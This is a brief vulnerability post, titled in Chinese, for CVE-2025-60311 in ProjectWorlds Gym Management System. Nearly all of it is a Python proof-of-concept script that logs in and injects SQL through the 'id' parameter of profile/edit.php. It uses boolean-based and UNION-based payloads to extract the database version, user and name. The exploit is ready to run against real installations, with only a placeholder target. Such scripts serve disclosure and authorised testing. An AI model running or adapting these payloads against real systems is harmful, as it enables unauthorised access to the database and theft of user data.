CVE-2025-60311：ProjectWorlds健身房管理系统SQL注入漏洞

# CVE-2025-60311 - ProjectWorlds Gym Management System SQL Injection PoC # Vulnerable endpoint: profile/edit.php # Vulnerable parameter: id import requests # Target configuration TARGET_URL = "http://target-site.com" LOGIN_URL = f"{TARGET_URL}/login.php" EDIT_URL = f"{TARGET_URL}/profile/edit.php" # Attacker credentials (requires low privilege account) USERNAME = "attacker_user" PASSWORD = "attacker_password" # Create session to maintain cookies session = requests.Session() # Step 1: Login to obtain authenticated session login_data = { "username": USERNAME, "password": PASSWORD } session.post(LOGIN_URL, data=login_data) # Step 2: SQL Injection payload via 'id' parameter # Basic boolean-based injection to verify vulnerability sql_payload = "1' OR '1'='1" # Step 3: Send the malicious request params = { "id": sql_payload } response = session.get(EDIT_URL, params=params) # Step 4: Check response for SQL errors or data leakage if "SQL" in response.text or "syntax" in response.text.lower(): print("[+] Target is vulnerable to SQL Injection!") else: print("[*] Response received, analyze manually") # Step 5: Union-based injection to extract database info union_payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -" response = session.get(EDIT_URL, params={"id": union_payload}) print(response.text) # Step 6: Extract database version and current user info_payload = "1' UNION SELECT version(),user(),database(),4,5,6,7,8,9,10-- -" response = session.get(EDIT_URL, params={"id": info_payload}) print(f"[+] Database info: {response.text}")